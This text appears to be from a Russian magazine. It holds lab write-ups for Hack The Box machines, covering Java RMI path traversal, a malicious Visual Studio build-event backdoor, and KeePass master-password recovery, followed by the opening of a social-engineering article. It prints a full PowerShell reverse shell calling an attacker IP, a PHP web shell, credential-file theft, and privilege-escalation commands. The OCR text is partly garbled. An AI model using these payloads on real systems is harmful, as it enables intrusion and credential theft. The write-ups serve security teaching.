вать фай ловую сис тему уда лен ного сер вера, прос то меняя в нашем при ложе- 
нии перемен ную . Давай прос мотрим домаш ние катало ги поль зовате лей.dir

Со дер жимое катало га /home

Со дер жимое катало га /home/developer

На ходим все го одно го поль зовате ля с домаш ним катало гом, где есть очень
инте рес ный файл . Теперь получим его содер жимое,

для чего будем исполь зовать метод . Давай допол ним фун кцию 
и для про бы про чита ем файл .

.git-credentials
view main

/etc/passwd

       public static void main(String args[]) {
       try {

             String dir = "../../../../home/developer/";
              List<AbstractFile> files = get().list("950ba61ab119", dir)

;
          System.out.println("=================================");

            System.out.println("Listing: " + dir);
                for( AbstractFile file : files ) {

                System.out.println( file.getAbsolutePath() );
          }
          System.out.println("=================================\n");

             String filename = "/etc/passwd";
              System.out.println("Content " + filename + " :");

             byte[] byteContent = get().view(filename);
      

 
          String content = new String( byteContent, StandardCharsets
.UTF_8 );
          System.out.println(content);

          } catch (RemoteException e) {
          e.printStackTrace();
      };
  }

Ре зуль тат выпол нения кода

Во вре мя чте ния фай ла получа ем ошиб ку, разоб рать ся с которой у меня дол- 
го не выходи ло, пока на форуме мне не ука зали на то, что имя фай ла шиф- 
рует ся перед отправ кой. Тог да код фун кции  при обре тает сле дующий

вид.

main

       public static void main(String args[]) {
       try {

             String dir = "../../../../home/developer/";
              List<AbstractFile> files = get().list("950ba61ab119", dir)

;
          System.out.println("=================================");

            System.out.println("Listing: " + dir);
                for( AbstractFile file : files ) {

                System.out.println( file.getAbsolutePath() );
          }
          System.out.println("=================================\n");

             String filename = "/etc/passwd";
              System.out.println("Content " + filename + " :");

              CryptUtil cryptUtil = new CryptUtil();

             byte[] byteContent = get().view(cryptUtil.encrypt(filename
));

      
 

          String content = new String( byteContent, StandardCharsets
.UTF_8 );
          System.out.println(content);

          } catch (RemoteException e) {
          e.printStackTrace();
      };
  }

До бав ляем в файл код клас са .CryptUtil

  class CryptUtil {
        public static CryptUtil instance = new CryptUtil();
   Cipher ecipher;
   Cipher dcipher;
             byte[] salt = new byte[]{-87, -101, -56, 50, 86, 53, -29, 3};
     int iterationCount = 19;
     String secretKey = "48gREsTkb1evb3J8UfP7";

      public static CryptUtil getInstance() {
       return instance;

  }

      public String encrypt(String plainText) {
       try {

    
  

          PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.
toCharArray(), this.salt, this.iterationCount);

             SecretKey key = SecretKeyFactory.getInstance(
"PBEWithMD5AndDES").generateSecret(keySpec);

    
 

          PBEParameterSpec paramSpec = new PBEParameterSpec(this.
salt, this.iterationCount);

            this.ecipher = Cipher.getInstance(key.getAlgorithm());
            this.ecipher.init(1, key, paramSpec);

             String charSet = "UTF-8";
             byte[] in = plainText.getBytes("UTF-8");
             byte[] out = this.ecipher.doFinal(in);
             String encStr = Base64.getUrlEncoder().encodeToString(out)

;
           return encStr;

      }
         catch (Exception e) {

            throw new RuntimeException(e);
      }
  }

       
  

  
 

public String decrypt(String encryptedText) throws
NoSuchAlgorithmException, InvalidKeySpecException,
NoSuchPaddingException, InvalidKeyException,
InvalidAlgorithmParameterException, UnsupportedEnco

   
 

dingException, IllegalBlockSizeException, BadPaddingException,
IOException {

    
  

      PBEKeySpec keySpec = new PBEKeySpec(this.secretKey.toCharArray
(), this.salt, this.iterationCount);

         SecretKey key = SecretKeyFactory.getInstance(
"PBEWithMD5AndDES").generateSecret(keySpec);

           PBEParameterSpec paramSpec = new PBEParameterSpec(this.salt,
this.iterationCount);

        this.dcipher = Cipher.getInstance(key.getAlgorithm());
        this.dcipher.init(2, key, paramSpec);

         byte[] enc = Base64.getUrlDecoder().decode(encryptedText);
         byte[] utf8 = this.dcipher.doFinal(enc);
         String charSet = "UTF-8";
           String plainStr = new String(utf8, "UTF-8");
       return plainStr;

  }
}

Ре зуль тат выпол нения кода

Код работа ет, теперь у нас есть воз можность читать фай лы. Вер немся к фай- 
лу ..git-credentials

Со дер жимое фай ла .git-credentials

С получен ными учет ными дан ными авто ризу емся по SSH и забира ем пер вый
флаг.

Флаг поль зовате ля

Продолжение статьи →

https://github.com/jpillora/chisel
https://github.com/qtc-de/remote-method-guesser


ЭКСПЛУАТИРУЕМ УЯЗВИМОСТИ
JAVA RMI ДЛЯ ПОЛНОГО ЗАХВАТА

ХОСТА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Мы в сис теме, пора собирать информа цию! Я, как всег да, заг ружу и запущу
на целевом хос те PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Прос матри ваем вывод скрип та и под меча ем, что в катало ге  есть соз- 

данный поль зовате лем файл .

/opt
registry.jar

Фай лы, добав ленные поль зовате лем

Ин форма ции мало, поэто му прос ледим, запус кает ся ли этот файл. Для отсле- 
жива ния запус каемых про цес сов в сис теме мы будем исполь зовать ути литу

. В выводе находим запуск дру гого фай ла — . Но, что

более инте рес но, он запус кает ся в кон тек сте поль зовате ля с UID=0, а это
root.

pspy64 quarantine.jar

Вы вод ути литы pspy64

Ска чива ем оба фай ла на свой хост для ана лиза.

scp developer@webhosting.htb:/usr/share/vhost-manage/includes/
quarantine.jar ./ 
scp developer@webhosting.htb:/opt/registry.jar ./ 

На чина ем с фай ла, который запус кает ся. В фун кции  соз дает ся объ ект

клас са  и вызыва ется метод  (стро ка 10).

Main
Client scan

Ис ходный код клас са Main

Этот класс дос тупен и через RMI. Пос ле под клю чения к пор ту 9002 про исхо- 
дит получе ние кон фигура ции, которая переда ется конс трук тору клас са

 (стро ки 28–31). В методе  прог рамма получа ет спи сок фай лов,

каж дый из которых переда ется в метод  (стро ки 35–43).

ClamScan scan
doScan

Ис ходный код клас са Client

В кон фиге ука зан каталог для ска ниро вания и каталог, видимо, для резуль- 
татов ска ниро вания, а так же хост, порт и тайм-аут для под клю чения (стро- 
ки 10–14).

Ис ходный код клас са QuarantineConguration

Пе рехо дим к методу , где сто ит обра тить вни мание на стро ки 69,

70 и 77. Если при ска ниро вании метод  клас са  вер нет
, то файл переда ется на каран тин, где и про исхо дит копиро вание фай- 

ла.

doScan
scanPath ClamScan

FAILED

Ис ходный код клас са Client (про дол жение)

Пе рей дем к клас су  и взгля нем на метод . Пер вым делом

он под клю чает ся к ука зан ному в кон фигура ции адре су (стро ки 163–165).
Отправ ляет ся лишь информа ция о ска ниру емом фай ле (стро ки 204–205).

ClamScan scanPath

Ис ходный код клас са Client (про дол жение)

Ис ходный код клас са ScanResult

Те перь перей дем к фай лу сер вера RMI. Сер вер при нима ет соеди нение
и переда ет кон фиги.

Код клас са Server

Соз дание кон фига с парамет рами находим в клас се .QuarantineServerImpl

Код клас са QuarantineServerImpl

Вы ходит, что если мы смо жем запус тить свой сер вер и передать свои кон- 
фиги для ска ниро вания, то у нас появит ся воз можность ско пиро вать все фай- 
лы из про изволь ного катало га. Конеч но же, нам инте ресен каталог поль- 
зовате ля root. Еще раз запус каем pspy64, что бы отсле дить, про исхо дит ли
запуск фай ла сер вера.

Ло ги pspy64

В логах находим пери оди чес кий переза пуск фай ла сер вера, а зна чит, мы
можем успеть запус тить свою вер сию.

В этот раз мы не будем заново писать код, а изме ним в уже соб ранном
фай ле все го одну стро ку в клас се , где про исхо дит
уста нов ка кон фига. Это стро ка 15.

QuarantineServerImpl

       
   

   

private static final QuarantineConfiguration DEFAULT_CONFIG = new
QuarantineConfiguration(new File("/tmp/quarantine"), new File("/root/
"), "10.10.16.29", 3310, 1000);

Ука зыва ем каталог  для ска ниро вания и копиро вания фай лов

в каталог . Затем в меню деком пилято ра выбира ем File →
Export Program и сох раня ем новый файл JAR. Копиру ем его на уда лен ный
сер вер и запус каем в цик ле. Как толь ко сер вер запус тится, получим соот ветс- 
тву ющее сооб щение.

/root/
/tmp/quarantine

java while true;do -jar registry_new.jar 2>/dev/null;done

За пуск сер вера RMI

Для получе ния логов на локаль ном хос те откро ем порт 3310.

 socat -d -d TCP4-LISTEN:3310,reuseaddr,fork STDOUT 

Ло ги ска ниро вания

В логах сно ва видим файл . Давай най дем его на сер вере..git-credentials

 gitfind ./ -name * *

Ка тало ги с отче тами о ска ниро вании

Со дер жимое фай ла .git-credentials

С получен ным паролем авто ризу емся от име ни root и забира ем пос ледний
флаг.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
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ВЗЛОМ

В этом рай тапе я покажу, как про ник нуть
на хост через бэк дор в нас трой ках про екта
Visual Studio. Затем получим сес сию
от име ни служ бы веб-сер вера, акти виру ем
при виле гию SeImpersonate и исполь зуем
оче ред ную «кар тошку» для выпол нения
кода от име ни сис темы.

На ша цель — получе ние прав супер поль зовате ля на машине Visual с учеб ной
пло щад ки . Уро вень слож ности машины — сред ний.Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.234   visual.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел толь ко один откры тый порт — 80 (веб-сер вер Apache 2.4.56),
что для Windows край не нехарак терно. Давай взгля нем на сайт, с которым
нам пред сто ит работать.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те есть фор ма встав ки URL и Git-репози торий. Давай для тес та запус- 
тим локаль ный веб-сер вер и пос мотрим, что будет, если вста вить в поле
для ссыл ки его адрес.

python3 -m http.server 80 

Мы получа ем лог сбор ки про екта.

Лог сбор ки

Ло ги веб-сер вера

На сай те ука зано, что исполь зует ся язык раз работ ки C# и сре да Visual Studio,
а зна чит, ожи дает ся, что поль зователь вста вит адрес репози тория с про ектом
на C#. Давай под готовим такой репози торий.

Под нима ем вир туал ку с Windows и ста вим Visual Studio. Теперь соз дадим
прос той кон соль ный про ект C# и ско пиру ем его пап ку на свой основной хост.

Струк тура про екта Visual Studio

Те перь нуж но соз дать Git-репози торий. Ини циали зиро вать пус той репози- 
торий мож но коман дой  в катало ге с про ектом.git init

Соз дание Git-репози тория

Те перь коман дой  нуж но добавить каталог про екта в репози торий

и соз дать ком мит с любым име нем, к при меру :

git add
e1

 e1 git commit -m

В кон це обновля ем информа цию о сер вере коман дой 

.

git update-server-
info

До бав ление фай лов в репози торий

Ког да все готово, в текущем катало ге сно ва запус каем веб-сер вер и отправ- 
ляем адрес репози тория:

http://10.10.16.91/.git 

Ло ги веб-сер вера

Ло ги сбор ки

Сбор ка про екта прош ла успешно, а зна чит, мы можем перей ти к сле дующей
ста дии — получе нию уда лен ного выпол нения кода.

ÒÎ×ÊÀ ÎÏÎÐÛ

Су щес тву ет нес коль ко спо собов выпол нить код, манипу лируя нас трой ками
сбор ки про ектов Visual Studio. Обыч но такие трю ки при меня ют при целевых
фишин говых ата ках, нап равлен ных на раз работ чиков. Самый прос той
из них — это задания перед сбор кой и пос ле.

В бло ке  мож но объ явить парамет ры 

и  соот ветс твен но, которые ука зыва ют, какую коман ду нуж но

выпол нить в сис теме. Запус тим лис тенер:

PropertyGroup PreBuildEvent
PostBuildEvent

rlwrap nc -nlvp 4321 

И закоди руем в Base64 сле дующий реверс-шелл на PowerShell.

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.91",4321)
;
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
   $data = (New-Object -TypeName System.Text.ASCIIEncoding).
GetString($bytes,0, $i);
   $sendback = (iex $data 2>&1 | Out-String );
   $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
   $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
   $stream.Write($sendbyte,0,$sendbyte.Length);
   $stream.Flush()};
$client.Close()

За тем изме ним файл с нас трой ками про екта , добавив задания

пред сбор ки.

evil.csproj

<PreBuildEvent>powershell -e JABjAGwAaQ.....AApAA==</PreBuildEvent>

Со дер жимое фай ла evil.csproj

При меним изме нения в репози тории, выпол ним ком мит и отпра вим ссыл ку
на репози торий заново.

git add evil/evil.csproj 
 git commit -m "e2"

git update-server-info 

Фик сация изме нений в Git

Ло ги сбор ки

По луча ем сооб щение о том, что вре мя ожи дания истекло, при этом в окне
лис тенера netcat появ ляет ся бэк коннект. Зна чит, у нас получи лось попасть
в сис тему!

Сес сия в netcat

ÏÐÎÄÂÈÆÅÍÈÅ

Сна чала прос матри ваем домаш ние катало ги поль зовате лей. Так, из обыч ных
юзе ров в сис теме есть толь ко , с его рабоче го сто ла и забира ем пер вый

флаг.

enox

Флаг поль зовате ля

Об рати вни мание, что реверс-шелл запущен из катало га с заг ружен ными
на веб-сер вер фай лами. Прос матри вая кор невой каталог веб-сер вера,
находим и фай лы самого сай та.

Со дер жимое катало га C:\xampp\htdocs

Ве роят но, у это го поль зовате ля есть при виле гии на запись в каталог
веб-сер вера. Про верить это очень прос то, нуж но лишь попытать ся соз дать
какой-нибудь файл.

За пись фай ла test

Файл успешно соз дан, а зна чит, мож но заг рузить на сер вер веб-шелл
для выпол нения команд и получить новую сес сию от име ни поль зовате ля
служ бы веб-сер вера. У этой учет ки будут допол нитель ные при виле гии в срав- 
нении с учет ными запися ми прос тых поль зовате лей.

За писы вать будем самый прос той веб-шелл на PHP. На локаль ной машине
соз дадим файл с таким содер жимым:

  <?php system($_GET['c']); ?>

Те перь запус тим веб-сер вер ( ) и ска чаем

шелл на уда лен ный хост.

python3 -m http.server -p 80

wget 10.10.16.91/shell.txt -O C:\xampp\htdocs\rcmd.php

Те перь мож но обра щать ся к веб-шел лу через curl, к при меру выпол нить
коман ду .whoami

curl 'http://visual.htb/rcmd.php?c=whoami'

Ре зуль тат выпол нения коман ды whoami

Да вай сно ва запус тим лис тенер и выпол ним тот же реверс-шелл, что исполь- 
зовали рань ше.

Сес сия поль зовате ля Local Service

По луча ем сес сию в кон тек сте  и идем повышать при виле гии.Local Service

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Учет ные записи  и  нас тро ены на запуск

с огра ничен ным набором при виле гий, что бы при ком про мета ции этих учет ных
записей ата кующий не получал опас ных при виле гий 
и .

LOCAL SERVICE NETWORK SERVICE

SeAssignPrimaryToken
SeImpersonate

whoami /all

Ин форма ция об учет ной записи

Од нако, если про цесс соз дан служ бой пла ниров щика задач, он 
все при виле гии, которые по умол чанию свя заны с учет ной записью.

бу дет иметь

Для авто мати чес кой экс плу ата ции вос поль зуем ся ути литой .
Будем выпол нять наш реверс-шелл, но нап равим на дру гой порт.

FullPowers

.\fp.exe -c "powershell -e JABjAGw..."

Ло ги FullPowers

На новый лис тенер при лета ет сес сия, и теперь у поль зовате ля активны все
нуж ные нам при виле гии.

Но вая сес сия со все ми при виле гиями

В том чис ле вклю чена при виле гия  (пра во «оли цет- 

ворять кли ента пос ле про вер ки под линнос ти»). Вот что о ней ска зано
в докумен тации:

SeImpersonatePrivilege

«
»

Ïðèñ âîåíèå ïîëü çîâàòå ëþ ïðà âà «Îëè öåò âîðÿòü êëè åíòà ïîñ ëå ïðî- 
âåð êè ïîä ëèííîñ òè» ðàç ðåøà åò ïðîã ðàììàì, çàïóùåí íûì îò èìå íè
äàí íîãî ïîëü çîâàòå ëÿ, îëè öåò âîðÿòü êëè åíòà. Èñïîëü çîâàíèå äàí íîãî
ïàðàìåò ðà ïðå äîò âðà ùàåò îëè öåò âîðåíèå íåàâ òîðèçî âàí íûìè ñåð- 
âåðàìè êëè åíòîâ, ïîä êëþ ÷àþùèõ ñÿ ê ýòèì ñåð âåðàì ñ ïîìîùüþ ïðî- 
öåäóð RPC èëè èìå íîâàí íûõ êàíàëîâ.

Дру гими сло вами: эта при виле гия поз воля ет ими тиро вать любой токен, дес- 
крип тор которо го мы смо жем получить. Для это го исполь зуем пос леднюю
на дан ный момент «кар тошку» — . Сно ва выпол няем реверс-шелл
и получа ем сес сию от име ни .

GodPotato
SYSTEM

.\gp.exe -cmd "powershell -e JABjAGwAaQ..."

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://itm4n.github.io/localservice-privileges/
https://github.com/itm4n/FullPowers
https://github.com/BeichenDream/GodPotato
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ВЗЛОМ

В этом рай тапе я покажу, как мож но вос ста- 
новить мас тер-пароль от базы дан ных
пароль ного менед жера KeePass из дам па
памяти про цес са, что бы получить учет ные
дан ные и клю чи. На пути к это му по тра- 
диции попен тестим веб-сер вис и соберем
дан ные для прод вижения.

На ша цель — получе ние учет ной записи супер поль зовате ля на машине
Keeper с учеб ной пло щад ки . Уро вень слож ности машины — лег- 
кий.

Hack The Box

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.227    keeper.htb 

И запус каем ска ниро вание пор тов.

Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

SSH, как обыч но, пока оставля ем в покое, пос коль ку учет ных дан ных у нас нет.
Пой дем искать уяз вимос ти в веб-сай тах.

ÒÎ×ÊÀ ÂÕÎÄÀ

На веб-сер вере нас встре чает ссыл ка на служ бу под дер жки, ведущая на дру- 
гой под домен: .tickets.keeper.htb

Глав ная стра ница сай та keeper.htb

Но вый под домен тоже добав ляем в файл ./etc/hosts

10.10.11.227 keeper.htb tickets.keeper.htb 

Стра ница авто риза ции tickets.keeper.htb

Те перь перей дем по ссыл ке. На новом сай те нас встре чает стра ница авто- 
риза ции сис темы заявок Request Tracker. Поиск экс пло итов ничего не дал,
а типич ная пара учет ных дан ных  ока залась невалид ной. Одна ко

всег да сто ит про верять еще и учет ные дан ные, задан ные в том или ином
ПО по умол чанию. Для Request Tracker это , что я узнал

из .

admin:admin

root:password
офи циаль ной вики

Wiki-стра ница Request Tracker — RecoverRootPassword

C дефол тны ми логином и паролем авто ризу емся в Request Tracker, при этом,
как ока залось, сра зу от име ни при виле гиро ван ного поль зовате ля.

Глав ная стра ница сай та tickets.keeper.htb

В любых сис темах, свя зан ных с тикета ми и про чими заяв ками, пер вым делом
нуж но искать по сло вам вро де pass, secret, login, token. В дан ном слу чае
при поис ке подс тро ки pass отыс кива ется все го один тикет. Какие-то проб- 
лемы с кли ентом KeePass для Windows.

По иск заявок, где упо мина ются пароли

К сожале нию, ничего сущес твен ного не находим. Ком мента рии к заяв ке тоже
никакой полез ной информа ции не содер жат.

Опи сание заяв ки

ÒÎ×ÊÀ ÎÏÎÐÛ

В меню перехо дим по пути Admin → Users → Select и получа ем спи сок сущес- 
тву ющих в сис теме поль зовате лей.

Ме ню сис темы тикетов

Спи сок поль зовате лей сис темы

Как минимум уже наш ли имя поль зовате ля.
Те перь откры ваем про филь каж дого поль зовате ля и собира ем информа- 

цию. Воз можно, по ней получит ся сге нери ровать спи сок паролей
для перебо ра, это тоже рабочий век тор.

Про филь поль зовате ля lnorgaard

В про филе поль зовате ля lnorgaard мы находим не то что какую-то информа- 
цию, а целый пароль: . С име нем поль зовате ля и паролем

получа ется авто ризо вать ся по SSH и заб рать поль зователь ский флаг.

Welcome2023!

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Те перь пора соб рать информа цию о сис теме, запущен ных про цес сах,
необыч ных фай лах и про чих вещах, которые помогут нам най ти воз можность
для повыше ния при виле гий до рута. Я для это го исполь зую скрип ты PEASS.

Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Да вай ска чаем самую све жую вер сию скрип та для Linux:

wget https://github.com/carlospolop/PEASS-ng/releases/latest/
download/linpeas.sh -O /tmp/linpeas.sh 

Те перь нуж но заг рузить его на уда лен ный хост. Для это го мож но исполь- 
зовать стан дар тные средс тва SSH. Пос ле заг рузки необ ходимо дать скрип ту
пра во на выпол нение и выпол нить его.

scp /tmp/linpeas.sh lnorgaard@keeper.htb:~/ 
chmod +x ~/linpeas.sh 
~/linpeas.sh 

В выводе — мас са информа ции, поэто му нуж но отоб рать толь ко зна чимую.
К сожале нию, инте рес ного не так мно го. Раз ве что в домаш нем катало ге
поль зовате ля нашел ся какой-то архив , оставлен ный рутом.RT30000.zip

Фай лы поль зовате ля root в домаш них катало гах поль зовате лей

Так же я всег да заг ружаю на хост ути литу , которая поз воля ет в реаль- 
ном вре мени отсле живать выпол няемые коман ды и про цес сы, запус каемые
от име ни любого, даже при виле гиро ван ного поль зовате ля. Увы, я прож дал
пять минут и ничего инте рес ного не обна ружил.

pspy64

Воз вра щаем ся к най ден ному архи ву и ска чива ем его на свой хост стан- 
дар тны ми средс тва ми SSH.

scp lnorgaard@keeper.htb:/home/lnorgaard/RT30000.zip ./ 

Внут ри архи ва находим базу дан ных менед жера паролей KeePass 
, а так же, судя по наз ванию, пол ный дамп работа юще го про цес са это го

менед жера паролей — .

passcodes.
kdbx

KeePassDumpFull.dmp

Со дер жимое архи ва RT30000.zip

На ум сра зу при ходит недав няя уяз вимость .CVE-2023-32784

Чи тай так же о взло ме KeePass:
• Уяз вимость в KeePass поз воля ет похитить все пароли поль зовате ля в виде

прос того тек ста
• Не исправ ленная проб лема в KeePass поз воля ет узнать мас тер-пароль
• Вы зов мас теру клю чей. Инжектим шелл-код в память KeePass, обой дя

анти вирус

Де ло в том, что в KeePass 2.x до вер сии 2.54 есть воз можность вос ста новить
мас тер-пароль в откры том виде из дам па памяти, даже если рабочее прос- 
транс тво заб локиро вано. Так же есть воз можность вос ста новить пароль, если
KeePass боль ше не работа ет. Дамп мож но получить не толь ко дам пингом
памяти про цес са KeePass или всей сис темы, но и из фай ла под качки
( ) и фай ла гибер нации ( ). Но есть и огра ниче ние:

пароль дол жен быть наб ран с кла виату ры, а не ско пиро ван из буфера обме- 
на.

pagefile.sys hiberfil.sys

О спо собе вос ста нов ления пароля из дам па я уже  в сво ем канале.
Давай пов торим этот метод, для чего будем исполь зовать .

пи сал
KeePwn

# install
git clone https://github.com/Orange-Cyberdefense/KeePwn.git 
cd KeePwn 
pip3  install -r requirements.txt 
sudo python3 setup.py install

# run
KeePwn parse_dump --dump_file KeePassDumpFull.dmp --bruteforce 
passcodes.kdbx 

Ре зуль тат вос ста нов ления мас тер-пароля KeePass

Спус тя нес коль ко минут работы прог рамма завер шает свое выпол нение.
Мас тер-пароль подоб рать не уда лось, одна ко мы получи ли 13 приб лизитель- 
ных кан дидатов. Я заг рузил пос ледний вари ант, так как он может навес ти нас
на более пол ную информа цию о пароле. Одна ко поис ковый дви жок пред- 
ложил дру гой вари ант поис ка.

Ре зуль тат поис ка в Google

Сог лаша емся на изме нен ный поиск и получа ем похожую на нашу стро ку фра- 
зу .rødgrød med fløde

Ре зуль тат поис ка в Google

Из Google узна ём, что это наз вание популяр ного в Дании киселя, но куда важ- 
нее, что это и есть мас тер-пароль, который поз воля ет получить дос туп к дан- 
ным в базе KeePass. Видимо, из-за исполь зования сим вола  KeePwn не смог

довес ти дело до кон ца.

ø

Со дер жимое базы KeePass

В базе сох ранен пароль рута и SSH-ключ в фор мате PuTTY. С паролем авто- 
ризо вать ся не выш ло, поэто му кон верти руем ключ.

puttygen key.putty -O private-openssh -o id_rsa_root 

Те перь с клю чом  авто ризу емся по SSH и забира ем пос ледний

флаг.

id_rsa_root

Флаг рута

Ма шина зах вачена!

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://rt-wiki.bestpractical.com/wiki/RecoverRootPassword
https://github.com/carlospolop/PEASS-ng
https://github.com/DominicBreuker/pspy
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-32784
https://xakep.ru/2023/01/31/keepass-flaw/
https://xakep.ru/2023/05/19/keepass-master-password/
https://xakep.ru/2022/03/31/keethief/
https://t.me/RalfHackerChannel/1336
https://github.com/Orange-Cyberdefense/KeePwn


Антон Бочкарев
Основатель 3side.org,
пентестер/редтимер,
социальный инженер,

популяризатор
кибербезопасности.
Antxakk@gmail.com

ПРИВАТНОСТЬ

Со циаль ную инже нерию час то при меня ют
при ком плексных пен тестах, и зачас тую
успешно, но, понимая прин ципы пси холо- 
гии и сос тавив сце нарий с их уче том, мож- 
но зна читель но повысить про цент
успешных вза имо дей ствий. В этой статье
мы раз берем основные улов ки и при чины,
по которым они работа ют.

«Веч ная точ ка вхо да!», «Столь ко-то про цен тов атак начина ется с соци аль ной
инже нерии!», «Нель зя недо оце нивать воз можнос ти фишин га!» — это всё
донель зя заез женные в ИБ фра зы. А что важ но для эффектив ного про бива?

Тут мне ния рас ходят ся. «Глав ное — это кре атив, это же соци алоч ка!»,
«Нет, глав ное — это хороший пей лоад, мак росы, спло иты на MS Office,
а документ кто-нибудь да откро ет». И обя затель но кто-то добавит: «Пар ни,
не замора чивай тесь! Рас сыла ем OWA, вве дут пароли, а с учет ками и поч той
рас кру тим ся».

Важ ны обе час ти — и «социо», и «тех ничес кая». На мой взгляд, это дол жно
быть понят но пря мо из наз вания. Но если с тех ничес кой сто роной обыч но все
хорошо, спло иты пишут ся, вор кшо пы кру тят ся, то с «социо» у нас проб лемы.
Сис темные.

Ты видел, что бы к дру гим видам пен теста был такой же под ход, как к соци- 
аль ной час ти соци алки? Бес систем ный и зачас тую пов торя ющий толь ко то,
что уже было сде лано рань ше более опыт ными кол легами?

Толь ко пред ставь: фаз зим поле, не понимая, как оно работа ет и почему
так отве чает, прос то ждем, что что-нибудь да выпол нится, потому что все так
дела ют.

С соци аль ными скил лами у мно гих хакеров и в обыч ной-то жиз ни не очень,
потому они и тяготе ют к тех нике. А тут уж и подав но при ходит ся выходить
из зоны ком форта. Кто-то еще в этот момент пыта ется отмахнуть ся и ска зать:
«Пси холо гия не наука!»

Äèñ êëåé ìåð. Åñëè òû ñ÷è òàåøü, ÷òî ïñè õîëî ãèÿ íå íàóêà, òî

ýòà ñòàòüÿ íå äëÿ òåáÿ.

Ос таль ным же доб ро пожало вать!
Ос нова соци аль ной инже нерии — пси холо гия вли яния. Но хоть пси холо- 

гия и наука, вок руг нее кру тит ся мно жес тво псев дона учных течений: НЛП,
физи огно мика, сом нитель ные тех ники, мас киру ющиеся под пси холо гию сект,
и мно гое-мно гое дру гое. Поэто му...

Äèñ êëåé ìåð 2. Àâòîð â ñòàòüå îïè ðàåò ñÿ íà èñêëþ ÷èòåëü íî

ïðè íÿòûå è ïðî âåðåí íûå â íàó÷ íîì ñîîá ùåñ òâå òåîðèè, èññëå- 

äîâà íèÿ è ïóá ëèêàöèè. À òàê æå àíà ëèçè ðóåò ñîáñ òâåí íûé îïûò

ñîöè àëü íîé èíæå íåðèè ÷åðåç ïðèç ìó ïîäîá íûõ òåîðèé.

Эта база опи рает ся в пер вую оче редь на иссле дова ния соци аль ных пси- 
холо гов XX и XXI веков, а так же сов ремен ные зарубеж ные и рос сий ские
иссле дова ния о под вержен ности мошен ничес тву.

ÝÂÎËÞÖÈÎÍÍÎÅ ËÅÃÀÑÈ

Пред ставь себе при ложе ние с неким API, которое раз вивалось на про тяже- 
